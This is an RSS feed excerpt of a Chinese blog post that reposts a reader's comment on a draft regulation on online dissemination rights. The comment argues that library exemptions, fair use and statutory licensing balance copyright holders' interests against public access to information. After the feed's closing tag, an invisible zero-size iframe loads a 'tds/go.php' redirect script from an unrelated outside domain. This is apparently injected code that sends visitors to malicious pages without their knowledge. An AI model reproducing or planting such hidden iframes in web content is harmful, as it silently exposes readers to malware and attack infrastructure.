			<content:encoded><![CDATA[<p><span style="font-size: small;">一位署名为“关注公共利益”的网友在我的帖子后面贴出了两段留言，其中的冷静与智慧让我十分佩服，为了表示对这位网友的敬意，也为了让这个有着深刻思想的帖子引起大家的关注，我特意把它隆重推出。</span><span id="more-73"></span></p>
<p><span style="color: #669966; font-size: small;"><strong>信息网络传播权保护条例草案第四、六条是否与我国2001年颁布的著作权法和《与贸易有关的知识产权协议》相冲突，我想KK还需加强学习。2001年的著作权法新增了信息网络传播权，但并没有对新增的权利作出任何限制。利益平衡原则是版权法的核心原则，一部版权法如果仅设置权利而没有对权利的约束机制那绝对是不够的。而这正是信息网络传播权保护条例要解决的问题之一。合理使用与法定许可都是版权限制的方式，信息网络传播权保护条例草案第四、六条正是启用了这二种限制方式。虽然这是给予图书馆以豁免权，但这种制度安排事实上是为了保障公众的信息获取权。版权法的真正功用不仅仅保护作品免遭非法利用,还保护它们的合理使用。版权的平衡是为了每一个人,版权限制是版权法为平衡版权人个体利益与社会公众利益而创设的一种制度。</strong></span></p>
<p><span style="color: #669966; font-size: small;"><strong>数字版权的扩张与技术措施的加强日益成为公众接触数字信息的障碍，信息富有者和信息贫乏者之间的信息差距日益加剧，“知识产权成了富国（人）的养料和穷国（人）的毒药”。 </strong></span></p>
<p><span style="color: #669966; font-size: small;"><strong>在知识产权强保护的体制中，谁是最大的获利者？版权产业集团。回顾国际版权条约和西方各国版权法修法历史，无不是一部版权产业集团利用其强势地位影响甚至控制修法路向的历史。如今在信息网络传播权保护条例草案公开之际，谁叫嚣得最凶？还是版权产业集团！</strong></span></p>
<p><span style="color: #669966; font-size: small;"><strong>在我们国家，大多数版权作品是由纳税人的钱支持的成果，大学、科研院所的研究人员甚至从事文艺创作的专业作家们，获得项目基金、课题资助和出版资助等（这都是纳税人的钱！），出版受版权保护的作品。如果没有合理使用和法定许可制度，支持这些版权作品产生的公众只有通过越来越昂贵的期刊订购、机构许可费或单篇文章付费的方式才能获得使用这些成果的有限权利。 </strong></span></p>
<p><span style="color: #669966; font-size: small;"><strong>草案第六条真的会如一些出版界人士所言，会重挫数字出版市场吗？我认为不会。首先，目前国内具备实力制作电子书通过网络向其注册用户传播，并能防止其进一步扩散的图书馆为数不是很多。这所需经费不菲，技术要求也高。包括租用通信网络，购买服务器，制作、保存数字资源，进行系统管理维护等；第二，那些具备实力的公益性图书馆，不是为了盈利（若是为了盈利，就不是第六条许可的范围了），未必会花很大力气去对馆藏电子化，若做电子书的成本高出购买电子版本，我想没有哪个图书馆会自寻麻烦。而这一条若能顺利通过，可能会起到的一个积极意义就是，避免我国数字出版仿效西方国家走垄断和暴利经营的道路，使数字资源的定价趋于合理。</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/73.html/feed</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
